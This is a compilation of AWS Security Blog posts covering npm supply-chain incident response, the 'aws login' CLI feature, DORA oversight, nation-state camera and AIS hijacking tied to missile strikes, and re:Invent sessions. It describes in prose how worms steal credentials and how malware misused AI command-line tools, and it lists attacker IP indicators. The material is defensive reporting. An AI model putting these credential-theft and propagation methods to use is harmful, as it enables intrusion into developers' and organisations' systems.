Over the past few months, high-profile software supply chain threat campaigns involving third party software repositories have highlighted the importance of protecting software supply chains for organizations of all types. In this post, we share how AWS responded to recent threats like the Nx package compromise, the Shai-Hulud worm, and a token-farming campaign in which Amazon Inspector identified more than 150,000 malicious packages (one of the largest attacks ever seen in open-source registries).

AWS Security responded to each of the examples in this post with a methodical and systematic approach. A key part of our incident response approach is to continually drive improvements into our response workflow and security systems to improve ahead of future incidents. We are also deeply committed to helping our customers and the global security community improve. Our goal with this post is to share our experiences responding to these incidents and to share the lessons we’ve learned.

Nx compromise attempts to scale through Generative AI

In late August 2025, abnormal patterns in third party software Generative AI prompt executions triggered an immediate escalation to our incident response teams. Within 30 minutes, a security incident command was established, and teams around the world began coordinating an investigation.

The investigation uncovered and confirmed the presence of a Javascript file, “telemetry.js”, that was designed to exploit GenAI command line tools through a popular npm package called Nx that had been compromised.
Our teams analyzed the malware and confirmed that the actors were attempting to steal sensitive configuration files through GitHub. However, they failed to generate valid access tokens which prevented any data from being compromised. This analysis resulted in critical data that helped our teams take direct action to protect AWS and our customers.

Working through our incident response process, some of the tasks our teams undertook included:

  • Produced a comprehensive impact assessment of AWS services and infrastructure. The assessment acts as a map that defines the scope of the incident and identifies the areas of the environment that need to be verified as part of the response.
  • Implemented repository-level blocklisting of npm packages to prevent further exposure to the compromised npm packages.
  • Conducted a deep dive to identify any potentially affected resources and look for any other attack vectors.
  • Investigated, analyzed, and remediated any affected hosts.
  • Used the learnings from our analysis to create improved detections across the environment and to enhance the security measures for Amazon Q. This included new system prompt guardrails to reject credential-harvesting, fixes to prevent system prompt extraction, and additional hardening measures for high-privilege execution modes.

The learnings from this work resulted in improvements we ingested into our incident response process and enhanced our detections mechanisms by improving how we monitor behavioral anomalies and cross-reference multiple intelligence sources. These efforts proved critical in identifying and responding to subsequent npm supply chain threat campaigns attacks.

Shai-Hulud and other npm campaigns

Then, just 3 weeks later in early September 2025, the two other npm supply chain campaigns began: the first targeted 18 popular packages (like Chalk and Debug) and the second dubbed, “Shai-Hulud”, targeted 180 packages in its first wave, with a second wave, “Shai-Hulud 2″, occurring in late November 2025. These types of campaigns attempt to compromise trusted developer machines to gain a foothold in an environment.

The Shai-Hulud worm attempts to harvest npm tokens, GitHub personal access tokens, and cloud credentials. When npm tokens are found, Shai-Hulud expands its reach by publishing infected packages as updates to packages those tokens have access to in the npm registry. The now compromised packages will execute the worm as a postinstall script, continuing to propagate the infection as new users download them. The worm also attempts to manipulate GitHub repositories to use malicious workflows to propagate and maintain its foothold in the repositories it has already infected.

While these events each took a different approach, the lessons AWS Security learned from the response to the Nx package compromise contributed to the response to these campaigns. Within 7 minutes of the publication of the packages affected by Shai-Hulud, we initiated our response process. Some of the key tasks we undertook during these responses included:

  • Registered the affected packages with the Open Source Security Foundation (OpenSSF), enabling a coordinated response across the security community.
    > Read more about how the Amazon Inspector team’s detection systems discovered these packages and how they work with the OpenSSF to help the security community respond to incidents like this one.
  • Performed monitoring to detect anomalous behavior. Where suspicious activity was detected, we took immediate action to notify impacted customers through AWS Personal Health Dashboard notifications, AWS Support cases, and direct email to the security contact for the accounts.
  • Analyzed the compromised npm packages to better understand the full capabilities of the worm, including development of a custom detonation script using generative AI, which was safely executed in a controlled sandbox environment. This work revealed the methods used by the malware to target GitHub tokens, AWS credentials, Google Cloud credentials, npm tokens, and environment variables. With this information, we used AI to analyze obfuscated JavaScript code to expand the scope of known indicators and affected packages.

By improving how we detect anomalous behavior that’s consistent with credential theft, how we analyze patterns across the npm repository, and—yet again—cross-referencing against multiple intelligence sources, AWS Security was able to build a deeper understanding of these types of coordinated campaigns. This helps to distinguish legitimate package activity from these types of malicious activities. This helped our teams respond even more effectively just a month later.

tea[.]xyz token farming

Late October and into early November, the techniques developed by the Amazon Inspector team that had been refined in the previous incidents detected a spike in compromised npm packages. The system discovered a renewed push to compromise the Tea tokens used to help recognize work done in the open-source community.

The team discovered 150,000 compromised packages during the threat actor’s campaign. At each detection, the team was able to automatically register the malicious package with the OpenSSF malicious package registry within 30 minutes. This rapid response not only protected customers using Amazon Inspector, but by sharing these results with the community, other teams and tools could protect their environments as well.

Every time that AWS Security teams identified a detection, we learned something new and we were able to incorporate this into our incident response process and further enhance our detections. The unique target of this campaign—tea[.]xyz tokens—provided another vector to refine the detections and protections various AWS Security teams had in place.

And, as we were finalizing this post (December 2025), we encountered another wave of activity seemingly targeting npm packages—nearly 1,000 suspicious packages detected in the npm registry over the course of a week. This wave, referred to as “elf-“, was engineered to steal sensitive system data and authentication credentials. Our automated defense mechanisms swiftly identified these packages and reported them to the OpenSSF.

How you can protect your organization

In this post, we’ve described how we learn from our incident response process and how the recent supply chain campaigns targeting the npm registry have helped us improve our internal systems and the products our customers use to fulfill their responsibilities in the Shared Responsibility Model. While each customer’s scale and systems will differ, we recommend incorporating the AWS Well-Architected Framework and the AWS Security Incident Response Technical Guide into your organization’s operations, and adopting the following strategy to enhance the resilience of your organization against these types of attacks:

  1. Implement continuous monitoring and enhanced detections to identify unusual patterns, enabling early threat detection. Periodically audit security tooling detection coverage by comparing results against multiple authoritative sources. AWS Services like AWS Security Hub provide a comprehensive view of the cloud environment, security findings and compliance checks enabling organizations to respond at scale and Amazon Inspector can assist with continuous monitoring of the software supply chain.
  2. Adopt layered protection, including automated vulnerability scanning and management (e.g. Amazon GuardDuty and Amazon Inspector) behavioral monitoring for anomalous package behavior (e.g. Amazon Cloudwatch and AWS Cloudtrail), credential management (Security best practices in IAM), and network controls to prevent data exfiltration (AWS Network Firewall).
  3. Maintain a comprehensive inventory of all open-source dependencies, including transitive dependencies and deployment locations, enabling rapid response when threats are identified. AWS services like Amazon Elastic Container Registry (ECR) can assist with automatic container scanning to identify vulnerabilities, and AWS Systems Manager [1] [2] can be configured to meet security and compliance objectives.
  4. Report suspicious packages to maintainers, share threat intelligence with industry groups, and participate in initiatives that strengthen collective defense. See our AWS Security Bulletins page for more information about recent security bulletins posted. Partnerships and contributing to the global security community matters.
  5. Implement proactive research, comprehensive investigation, and coordinated response (e.g. AWS Security Incident Response), which use a combination of security tooling, subject matter experts, and practiced response procedures.

Supply chain attacks continue to evolve in sophistication and scale, as demonstrated by examples mentioned in this post. These campaigns share common patterns – exploiting trust relationships within the open-source network, operating at massive scale, credential harvesting and unauthorized secrets access, and using enhanced techniques to evade traditional security controls.

The lessons learned from these events underscore the critical importance of implementing layered security controls, maintaining continuous monitoring, and participating in collaborative defense efforts. As these threats continue to evolve, AWS continues to provide customers with on-going protection through our comprehensive security approach. We are committed to continuous learning to help improve our work, to help our customers, and help the security community.

Contributors to this post: Mark Nunnikhoven, Catherine Watkins, Tam Ngo, Anna Brinkmann, Christine DeFazio, Chris Warfield, David Oxley, Logan Bair, Patrick Collard, Chun Feng, San Srinivas Vemula, Jorge Rodriguez, and Hari Nagarajan

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Nikki Pahliney
Nikki Pahliney

Nikki is the AWS Security Messaging Manager, heading up a team of security messaging specialists involved in curating security communications for our external customers, managing the AWS Security Blog and aws.amazon.com/security web content. Her experience spans across IT security and security messaging, operational process redesign, technical program management, financial modeling, business management, and recruitment.
David Magnotti
David Magnotti

David Magnotti is a Principal Security Engineer in Amazon Threat Intelligence, where he helps design and operate the investigative programs that underpin Amazon’s cyber threat intelligence capabilities. His work focuses on analyzing cyber threat activity, including state-sponsored and sophisticated criminal activity, translating relevant findings into actionable protections across Amazon and AWS.
Jeff Laskowski
Jeff Laskowski

Jeff is a seasoned cybersecurity and IT executive with over 30 years of experience in enterprise transformation and strategic innovation. Currently serving as a Senior Manager at AWS, he focuses on global corporate cybersecurity response. His distinguished career includes leading high-profile cyber incident investigations, directing cyber attack recoveries, and driving strategic initiatives. A Computer Science graduate from Old Dominion University and based in Herndon, Virginia, Jeff’s expertise spans software development, enterprise architecture and secure IT environments.
Ryan Tick
Ryan Tick

Ryan is a Senior Security Engineer at AWS focused on threat detection and incident response at scale. Before AWS, he worked as a consultant helping customers prevent, prepare, and respond to potential security events in AWS. Outside of work, Ryan enjoys spending time with his family, cheering on the Notre Dame Fighting Irish football team, and traveling.
Charlie Bacon
Charlie Bacon

Charlie is Head of Security Engineering and Research for Amazon Inspector at AWS. He leads the teams behind the vulnerability scanning and inventory collection services which power Amazon Inspector and other Amazon Security vulnerability management tools. Before joining AWS, he spent two decades in the financial and security industries where he held senior roles in both research and product development.
Chi Tran
Chi Tran

Chi is a Senior Security Researcher at Amazon Web Services, specializing in open-source software supply chain security. He leads the R&D of the engine behind Amazon Inspector that detects malicious packages in open-source software. As an Amazon Inspector SME, Chi provides technical guidance to customers on complex security implementations and advanced use cases. His expertise spans cloud security, vulnerability research, and application security. Chi holds industry certifications including OSCP, OSCE, OSWE, and GPEN, has discovered multiple CVEs, and holds pending patents in open-source security innovation.
Dan Dutrow
Dan Dutrow

Dan is an AWS Security Software Development Manager heading up Sonaris, and internal tool used by Amazon to analyze security telemetry to identify and help stop network, application, and credential abuse across AWS. He is an experienced engineering leader of multidisciplinary teams using software engineering, data science, and security analysis to solve cloud security challenges.
Stephen Goodman

Stephen Goodman

As a senior manager for Amazon active defense, Stephen leads data-driven programs to protect AWS customers and the internet from threat actors.

Albin Vattakattu

Albin Vattakattu

Albin is a senior security engineer at AWS.

Simplified developer access to AWS with ‘aws login’

Post Syndicated from Shreya Jain original https://aws.amazon.com/blogs/security/simplified-developer-access-to-aws-with-aws-login/

Getting credentials for local development with AWS is now simpler and more secure. A new AWS Command Line Interface (AWS CLI) command, aws login, lets you start building immediately after signing up for AWS without creating and managing long-term access keys. You use the same sign-in method you already use for the AWS Management Console.

In this blog, we’ll show you how to get temporary credentials to your workstation for use with the AWS CLI, AWS Software Development Kits (AWS SDKs), and tools or applications built using them with the new aws login command.

Getting started with programmatic access to AWS

You can use the aws login command with your AWS Management Console sign-in method, as described in the following sections.

Scenario 1: Using IAM credentials (root or IAM user)

To obtain programmatic credentials using your root or IAM user username and password:

  1. Install the latest AWS CLI (version 2.32.0 or later).
  2. Run the aws login command.
  3. If you have not set a default Region, the CLI prompts you to specify the AWS Region of your choice (e.g., us-east-2, eu-central-1). The CLI remembers which Region you set once you enter it into this prompt.
    Figure 1: CLI Region prompt

    Figure 1: CLI Region prompt

  4. The CLI opens your default browser.
  5. Follow the instructions in the browser window:
    1. If you have already signed into the AWS Management Console, you will see a screen that says, “Continue with an active session.”
      Figure 2: Sign in to AWS - active session selection

      Figure 2: Sign in to AWS – active session selection

    2. If you haven’t signed into the AWS Management Console, you will see the sign-in options page. Select “Continue with Root or IAM user” and log in to your AWS account.
      Figure 3: AWS Sign in to AWS - Sign-in options

      Figure 3: AWS Sign in to AWS – Sign-in options

  6. Success! You’re ready to run AWS CLI commands. Try the aws sts get-caller-identity command to verify the identity you’re currently using.
    Figure 4: Sign in to AWS - completion

    Figure 4: Sign in to AWS – completion

Scenario 2: Using federated sign-in

This scenario applies when you authenticate through your organization’s identity provider. To retrieve programmatic credentials for roles you assumed with federation:

  1. Complete steps 1–4 from Scenario 1, then continue with the following instructions.
  2. Follow the instructions in the browser window:
    1. If you have already signed into the AWS Management Console, the browser provides you with the option to select your active IAM role session from federated sign-in to the console. This enables you to switch between 5 active AWS sessions if you have multi-session support enabled on your AWS Management Console.
      Figure 5: Sign in to AWS - active IAM role session selection

      Figure 5: Sign in to AWS – active IAM role session selection

    2. If you have not signed into the AWS Management Console or want to get temporary credentials for a different IAM role, sign into your AWS account using your current authentication mechanism in another browser tab. Upon successful login, switch back to this tab and select the “Refresh” button. Your console session should now be available under the active sessions.
  3. Return to the AWS CLI once you have successfully completed the aws login process.

Regardless of the console sign-in method you choose, the temporary credentials issued by the aws login command are automatically rotated by the AWS CLI, AWS Tools for PowerShell and AWS SDKs every 15 minutes. They are valid up to the set session duration of the IAM principal (maximum of 12 hours). After reaching the session duration limit, you will be prompted to log in again.

Figure 6: AWS Sign in - session expiration

Figure 6: AWS Sign in – session expiration

Accessing AWS using local developer tools

The aws login command supports switching between multiple AWS accounts and roles using profiles. You can configure a profile with aws login --profile <PROFILE_NAME> and run AWS commands with the profile using: aws sts get-caller-identity --profile <PROFILE_NAME>. The short-term credentials issued by aws login work with more than the AWS CLI. You can also use them with:

  • AWS SDKs: If you use AWS SDKs for development, the SDK clients can use these temporary credentials to authenticate with AWS.
  • AWS Tools for PowerShell: Use the Invoke-AWSLogin command.
  • Remote development servers: Use aws login --remote on a remote server without browser access, to deliver temporary credentials from your device with browser access to the AWS console.

  • Older versions of AWS SDKs that do not support the new console credentials provider: Any software written using these older SDKs can support credentials delivered by aws login by using the credential_process provider with the AWS CLI.

Controlling access to aws login with IAM policies

The aws login command is controlled by two IAM actions: signin:AuthorizeOAuth2Access and signin:CreateOAuth2Token. Use the SignInLocalDevelopmentAccess managed policy or add these actions to your IAM policies to allow IAM users and IAM roles with console access to use this feature.

AWS Organizations customers looking to control the usage of this login feature on member accounts can deny the two actions above using Service Control Policies (SCPs). These IAM actions and their resources are usable in all relevant IAM policies.

AWS recommends using centralized root access management in AWS Organizations to eliminate long-term root credentials from member accounts. This feature allows security teams to perform privileged tasks through short-term, task-scoped root sessions from a central management account. After you enable centralized root management and delete root credentials on member accounts, root login to member accounts is denied, which also prevents programmatic access with root credentials using aws login. For developers using root credentials or IAM users, aws login delivers short-lived credentials to development tools, providing a secure alternative to long-term static access keys.

Logging and security of programmatic access using aws login

AWS Sign-In logs API activity through AWS CloudTrail, which now includes two new events specific to aws login. The service logs two new event names called AuthorizeOAuth2Access and CreateOauth2Token in the AWS Region where the user logs in.

Here’s a CloudTrail sample for an AuthorizeOAuth2Access event:

{
    "eventVersion": "1.11",
    "userIdentity": {
        "type": "AssumedRole",
        "principalId": "AROATJHQDX737YZP72NTF:testuser”,
        "arn": "arn:aws:sts::225989345271:assumed-role/Admin/testuser,
        "accountId": “111111111111”,
        "sessionContext": {
            "sessionIssuer": {
                "type": "Role",
                "principalId": "AROATJHQDX737YZP72NTF",
                "arn": "arn:aws:iam::111111111111:role/Admin",
                "accountId": “11111111111”,
                "userName": "Admin"
            },
            "attributes": {
                "creationDate": "2025-11-17T22:50:14Z",
                "mfaAuthenticated": "false"
            }
        }
    },
    "eventTime": "2025-11-17T22:51:32Z",
    "eventSource": "signin.amazonaws.com",
    "eventName": "AuthorizeOAuth2Access",
    "awsRegion": "us-east-1",
    "sourceIPAddress": “192.0.2.2”,
    "userAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
    "requestParameters": {
        "scope": "openid",
        "redirect_uri": "http://127.0.0.1:53037/oauth/callback",
        "code_challenge_method": "SHA-256",
        "client_id": "arn:aws:signin:::devtools/same-device"
    },
    "responseElements": null,
    "additionalEventData": {
        "success": "true",
        "x-amzn-vpce-id": ""
    },
    "requestID": "e2854c76-1cba-4360-9fd1-5037b591466b",
    "eventID": "59e1720d-3deb-44ff-933d-6828be2a860a",
    "readOnly": true,
    "eventType": "AwsApiCall",
    "managementEvent": true,
    "recipientAccountId": “111111111111”,
    "eventCategory": "Management",
    "tlsDetails": {
        "tlsVersion": "TLSv1.3",
        "cipherSuite": "TLS_AES_128_GCM_SHA256",
        "clientProvidedHostHeader": "us-east-1.signin.aws.amazon.com"
    }
}

Here’s a CloudTrail sample for a CreateOAuth2Token event:

{
    "eventVersion": "1.11",
    "userIdentity": {
        "type": "AssumedRole",
        "principalId": "AROATJHQDX737YZP72NTF:testuser-Isengard",
        "arn": "arn:aws:sts::111111111111:assumed-role/Admin/testuser-Isengard",
        "accountId": "111111111111",
        "sessionContext": {
            "sessionIssuer": {
                "type": "Role",
                "principalId": "AROATJHQDX737YZP72NTF",
                "arn": "arn:aws:iam::111111111111:role/Admin",
                "accountId": "111111111111",
                "userName": "Admin"
            },
            "attributes": {
                "creationDate": "2025-11-18T20:38:10Z",
                "mfaAuthenticated": "false"
            }
        }
    },
    "eventTime": "2025-11-18T20:38:44Z",
    "eventSource": "signin.amazonaws.com",
    "eventName": "CreateOAuth2Token",
    "awsRegion": "us-east-1",
    "sourceIPAddress": "192.0.2.2",
    "userAgent": "aws-cli/2.32.0 md/awscrt#0.28.4 ua/2.1 os/macos#24.6.0 md/arch#arm64 lang/python#3.13.9 md/pyimpl#CPython m/b,AA,Z,E cfg/retry-mode#standard md/installer#exe sid/35033f4ca1bd md/prompt#off md/command#login",
    "requestParameters": {
        "client_id": "arn:aws:signin:::devtools/same-device"
    },
    "responseElements": null,
    "additionalEventData": {
        "success": "true",
        "x-amzn-vpce-id": ""
    },
    "requestID": "94562943-c85b-4dc1-bf72-43b0fd42d6de",
    "eventID": "0b338fac-6a10-4740-b34d-1bb6923e799e",
    "readOnly": true,
    "eventType": "AwsApiCall",
    "managementEvent": true,
    "recipientAccountId": "111111111111",
    "eventCategory": "Management",
    "tlsDetails": {
        "tlsVersion": "TLSv1.3",
        "cipherSuite": "TLS_AES_128_GCM_SHA256",
        "clientProvidedHostHeader": "us-east-1.signin.aws.amazon.com"
    }
}

The aws login command uses the OAuth 2.0 authorization code flow with PKCE (Proof Key for Code Exchange) to protect against authorization code interception attacks. This provides a secure alternative to setting up IAM user access keys for getting started with development on AWS. For guidance on additional modern authentication approaches and alternatives to long-term IAM access keys, see the AWS Security Blog post “Beyond IAM access keys: Modern authentication approaches for AWS.”

Conclusion

The login for AWS local development feature is a secure-by-default enhancement that helps customers eliminate the use of long-term credentials for programmatic access with AWS. With aws login, you can start building immediately using the same credentials you use to sign in to the AWS Management Console. This feature is now available across all AWS commercial Regions (excluding China and GovCloud) at no additional cost to customers.

For more information, visit the authentication and access section in the CLI user guide.

If you have feedback about this post, submit comments in the Comments section below.

Shreya Jain

Shreya Jain

Shreya is a Senior Technical Product Manager in AWS Identity. She is energized by bringing clarity and simplicity to complex ideas. When she’s not applying her creative energy at work, you’ll find her at Pilates, dancing, or discovering her next favorite coffee shop.

Sowjanya Rajavaram

Sowjanya Rajavaram

Sowjanya is a Sr Solutions Architect who specializes in Identity and Security in AWS. She works on helping customers of all sizes solve their identity and access management problems. She enjoys traveling and exploring new cultures and food.

AWS designated as a critical third-party provider under EU’s DORA regulation

Post Syndicated from Andrew Vennekotter original https://aws.amazon.com/blogs/security/aws-designated-as-a-critical-third-party-provider-under-eus-dora-regulation/

Amazon Web Services has been designated as a critical third-party provider (CTPP) by the European Supervisory Authorities (ESAs) under the European Union’s Digital Operational Resilience Act (DORA).

This designation is a key milestone in the EU’s implementation of DORA, which took effect in January 2025 and aims to strengthen the operational resilience of the EU financial sector. Under this regulation, certain third-party information and communications technology (ICT) service providers identified as playing a critical role for financial entities in the EU are subject to direct joint oversight by the European Banking Authority (EBA), the European Securities and Markets Authority (ESMA), and the European Insurance and Occupational Pensions Authority (EIOPA).

AWS recognizes the significance of this oversight for our financial services customers as they advance their digital transformation and modernization efforts, which remain essential to their long-term resilience and competitiveness.

What the CTPP designation means for customers

  • Financial institutions that use AWS services should note that AWS is engaged in an active oversight relationship with the ESAs.
  • AWS will maintain its commitment to operational resilience as part of the oversight activities associated with the designation.
  • Customers can use AWS security, resilience, and compliance features while maintaining control over their own cloud environments and compliance journeys.

Proven readiness for DORA oversight

AWS has been engaging with EU institutions, national competent authorities, and the broader financial regulatory community for years, helping to build a more resilient and secure financial system.

Our readiness for this oversight process builds on our demonstrated experience in meeting rigorous operational and regulatory standards. AWS has made, and will continue to make, investments in compliance, risk management, operational resilience, and transparency, which are critical pillars of DORA.

Being designated as a CTPP means AWS will now participate in a formal oversight process. We expect that this process will promote a deeper understanding of how AWS and other cloud technologies help enhance the resilience of the financial services industry.

Supporting customers through DORA implementation

Although AWS is now subject to direct oversight under DORA, we remain equally focused on supporting our financial services customers that are subject to the regulation.

Operational resilience is both a compliance requirement for DORA and a business necessity. Our services are designed to help financial institutions achieve high availability, durability, and scalability, while maintaining robust controls and visibility into their operations.

Our dedicated team of security and compliance specialists is ready to assist financial organizations in understanding how AWS security and compliance features can help them fulfill their obligations under DORA and how AWS services help to support their compliance strategies. We offer detailed documentation, whitepapers, and compliance guides tailored to DORA’s key requirements, such as the AWS User Guide to DORA and Amazon Web Services’ Approach to Operational Resilience in the Financial Sector & Beyond. To learn more about our security and compliance resources, visit the AWS Trust Center. Customers can also download our third-party attestations and certifications through AWS Artifact.

If you have feedback about this post, submit comments in the Comments section below.

Andrew Vennekotter

Andrew Vennekotter

Andrew is the Head of Regulatory Assurance for EMEA within the AWS Security organization. He combines 16 years of public sector experience in technology policy, cybersecurity, counterterrorism, and security policy at NASA and the U.S. State Department with nine years of experience in software engineering, information security, and responsible AI. In his spare time, he enjoys hiking, coming up with new dad jokes, and pretending to be a novelist.

New Amazon Threat Intelligence findings: Nation-state actors bridging cyber and kinetic warfare

Post Syndicated from CJ Moses original https://aws.amazon.com/blogs/security/new-amazon-threat-intelligence-findings-nation-state-actors-bridging-cyber-and-kinetic-warfare/

The new threat landscape

The line between cyber warfare and traditional kinetic operations is rapidly blurring. Recent investigations by Amazon threat intelligence teams have uncovered a new trend that they’re calling cyber-enabled kinetic targeting in which nation-state threat actors systematically use cyber operations to enable and enhance physical operations. Traditional cybersecurity frameworks often treat digital and physical threats as separate domains. However, research by Amazon demonstrates that this separation is increasingly artificial. Multiple nation-state threat groups are pioneering a new operational model where cyber reconnaissance directly enables kinetic targeting.

We’re seeing a fundamental shift in how nation-state actors approach warfare. These aren’t just cyber attacks that happen to cause physical damage; they are coordinated campaigns where digital operations are specifically designed to support physical military objectives.

Unique visibility at Amazon

The ability of Amazon Threat Intelligence to identify these campaigns stems from their unique position in the global threat landscape:

  • Threat intelligence telemetry: Amazon global cloud operations provide visibility into threats across diverse environments, including intelligence from Amazon MadPot honeypot systems, which enable the detection of suspicious patterns, actor infrastructure, and the network pathways used in these cyber-enabled kinetic targeting campaigns.
  • Opt-in customer data: Real-world data about attempted threat actor activities provided on an opt-in basis from enterprise environments.
  • Industry partner collaboration: Threat intelligence sharing with leading security organizations and government agencies provides additional context and validation for observed activities.

Through this multi-source approach, Amazon can connect dots that might otherwise remain invisible to individual organizations or even government agencies operating in isolation.

Case study 1: Imperial Kitten’s maritime campaign

The first case study involves Imperial Kitten, a threat group suspected of operating on behalf of Iran’s Islamic Revolutionary Guard Corps (IRGC). The timeline reveals the progression from digital reconnaissance to physical attack:

  • December 4, 2021: Imperial Kitten compromises a maritime vessel’s Automatic Identification System (AIS) platform, gaining access to critical shipping infrastructure. The Amazon Threat Intelligence team identifies the compromise and works with the affected organization to remediate the security event.
  • August 14, 2022: The threat actor expands their maritime targeting of additional vessel platforms. In one incident, they gained access to CCTV cameras aboard a maritime vessel, which provided real-time visual intelligence.
  • January 27, 2024: Imperial Kitten conducts targeted searches for AIS location data for a specific shipping vessel. This represents a clear shift from broad reconnaissance to targeted intelligence gathering.
  • February 1, 2024: US Central Command reports a missile strike by Houthi forces against the exact vessel that Imperial Kitten had been tracking. While the missile strike was ultimately ineffective, the correlation between the cyber reconnaissance and kinetic strike is unmistakable.

This case demonstrates how cyber operations can provide adversaries with the precise intelligence needed to conduct targeted physical attacks against maritime infrastructure—a critical component of global commerce and military logistics.

Case study 2: MuddyWater’s Jerusalem operations

The second case study involves MuddyWater, a threat group attributed by the US government to Rana Intelligence Computer Company, operating at the behest of Iran’s Ministry of Intelligence and Security (MOIS). This case reveals an even more direct connection between cyber operations and kinetic targeting.

  • May 13, 2025: MuddyWater provisions a server specifically for cyber network operations, establishing the infrastructure needed for their campaign.
  • June 17, 2025: The threat actor uses their server infrastructure to access another compromised server containing live CCTV streams from Jerusalem. This provides real-time visual intelligence of potential targets within the city.
  • June 23, 2025: Iran launches widespread missile attacks against Jerusalem. On the same day, Israeli authorities report that Iranian forces were exploiting compromised security cameras to gather real-time intelligence and adjust missile targeting.

The timing is not coincidental. As reported by The Record, Israeli officials urged citizens to disconnect internet-connected security cameras, warning that Iran was exploiting them to “gather real-time intelligence and adjust missile targeting.”

Technical infrastructure and methods

Research by Amazon reveals the sophisticated technical infrastructure supporting these operations. The threat actors employ a multi-layered approach:

  1. Anonymizing VPN networks: Threat actors route their traffic through anonymizing VPN services to obscure their true origins and make attribution more difficult.
  2. Actor-controlled servers: Dedicated infrastructure provides persistent access and command-and-control capabilities for ongoing operations.
  3. Compromised enterprise systems: The ultimate targets—enterprise servers hosting critical infrastructure like CCTV systems, maritime platforms, and other intelligence-rich environments.
  4. Real-time data streaming: Live feeds from compromised cameras and sensors provide actionable intelligence that can be used to adjust targeting in near real time.

Defining a new category of warfare

The research team proposes new terminology to describe these hybrid operations. Traditional frameworks fall short:

  • Cyber-kinetic operations typically refer to cyber attacks that cause physical damage to systems
  • Hybrid warfare is too broad, encompassing multiple types of warfare without specific focus on the cyber-physical integration

Amazon researchers suggest cyber-enabled kinetic targeting as a more precise term for campaigns where cyber operations are specifically designed to enable and enhance kinetic military operations.

Implications for defenders

For the cybersecurity community, this research serves as both a warning and a call to action. Defenders must adapt their strategies to address threats that span both digital and physical domains. Organizations that historically believed they weren’t of interest to threat actors could now be targeted for tactical intelligence. We must expand our threat models, enhance our intelligence sharing, and develop new defensive strategies that account for the reality of cyber-enabled kinetic targeting across diverse adversaries.

  • Expanded threat modeling: Organizations must consider not just the direct impact of cyberattacks, but how compromised systems might be used to support physical attacks against themselves or others.
  • Critical infrastructure protection: Operators of maritime systems, urban surveillance networks, and other infrastructure must recognize that their systems might be valuable not just for espionage, but as targeting aids for kinetic operations.
  • Intelligence sharing: The cases demonstrate the critical importance of threat intelligence sharing between private sector organizations, government agencies, and international partners.
  • Attribution challenges: When cyber operations directly enable kinetic attacks, the attribution and response frameworks become more complex, potentially requiring coordination between cybersecurity, military, and diplomatic channels.

Looking forward

We believe that cyber-enabled kinetic targeting will become increasingly common across multiple adversaries. Nation-state actors are recognizing the force multiplier effect of combining digital reconnaissance with physical attacks. This trend represents a fundamental evolution in warfare, where the traditional boundaries between cyber and kinetic operations are dissolving.

Indicators of Compromise

IOC Value, IOC Type, First Seen, Last Seen, Annotation
18[.]219.14.54, IPv4, 2025-05-13, 2025-06-17, MuddyWater Command and Control IP address
85[.]239.63.179, IPv4, 2023-08-13, 2025-09-19, Imperial Kitten proxy IP address
37[.]120.233.84, IPv4, 2021-01-01, 2022-11-01, Imperial Kitten proxy IP address
95[.]179.207.105, IPv4, 2020-11-11, 2022-04-09, Imperial Kitten proxy IP address

This blog post is based on research presented at CYBERWARCON by David Magnotti, Principal Engineer, and Dlshad Othman, Senior Threat Intelligence Engineer, both of Amazon Threat Intelligence. The authors thank US Central Command for their transparency in reporting military activities and acknowledge the ongoing support of customers and partners in these critical investigations.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

CJ Moses

CJ Moses

CJ Moses is the CISO of Amazon Integrated Security. In his role, CJ leads security engineering and operations across Amazon. His mission is to enable Amazon businesses by making the benefits of security the path of least resistance. CJ joined Amazon in December 2007, holding various roles including Consumer CISO, and most recently AWS CISO, before becoming CISO of Amazon Integrated Security September of 2023.

Prior to joining Amazon, CJ led the technical analysis of computer and network intrusion efforts at the Federal Bureau of Investigation’s Cyber Division. CJ also served as a Special Agent with the Air Force Office of Special Investigations (AFOSI). CJ led several computer intrusion investigations seen as foundational to the security industry today.

CJ holds degrees in Computer Science and Criminal Justice, and is an active SRO GT America GT2 race car driver.

AWS re:Invent 2025: Your guide to security sessions across four transformative themes

Post Syndicated from Rahul Sahni original https://aws.amazon.com/blogs/security/aws-reinvent-2025-your-guide-to-security-sessions-across-four-transformative-themes/

AWS re:Invent 2025, the premier cloud computing conference hosted by Amazon Web Services (AWS), returns to Las Vegas, Nevada, December 1–5, 2025. At AWS, security is our top priority, and re:Invent 2025 reflects this commitment with our most comprehensive security track to date. With more than 80 security aligned sessions spanning breakouts, workshops, chalk talks, and hands-on builders’ sessions, we’re bringing together the brightest minds to share insights, best practices, and innovative solutions. For security professionals, developers, and cloud architects, the event offers valuable insights into the latest security innovations at AWS, advanced threat protection capabilities, and defense strategies that scale. While attending re:Invent, you can visit the Security kiosk and AI Security kiosk at the expo hall to engage directly with AWS security experts about your specific needs.

The security track session selection process was driven by our extensive analysis of customer needs and real-world implementation challenges. We specifically focused on security areas where customers seek the most guidance and coalesced the sessions around four major themes: Securing and Leveraging AI, Architecting Security and Identity at scale, Building and scaling a Culture of Security, and Innovations in AWS Security. Our goal with the sessions is to address immediate security challenges and help you achieve broader business outcomes. In the following sections, we highlight a few key sessions in each of the four themes. You can visit the re:Invent catalog for a view of all sessions.

Securing and leveraging AI

Securing and using AI emerges as a dominant theme for the Security and Identity track, reflecting both the opportunities and challenges AI presents. From protecting AI workloads to harnessing AI for enhanced security operations, sessions span multiple AI topics to help organizations navigate this transformative technology safely and effectively. Here are a few key sessions on each of the AI topics.

Securing AI workloads

  • Breakout SEC410 – Advanced AI Security: Architecting Defense-in-Depth for AI Workloads: Dive deep into advanced security architectures for AI workloads, exploring how to protect your workload against sophisticated attack vectors. Through technical examples, we’ll implement secure architectures for AI workloads, covering identity, fine-grained access policies, and secure foundation model deployment patterns. Learn how to harden generative and agentic AI applications using AWS security capabilities, implementing least-privilege controls, and building secure architectures at scale.
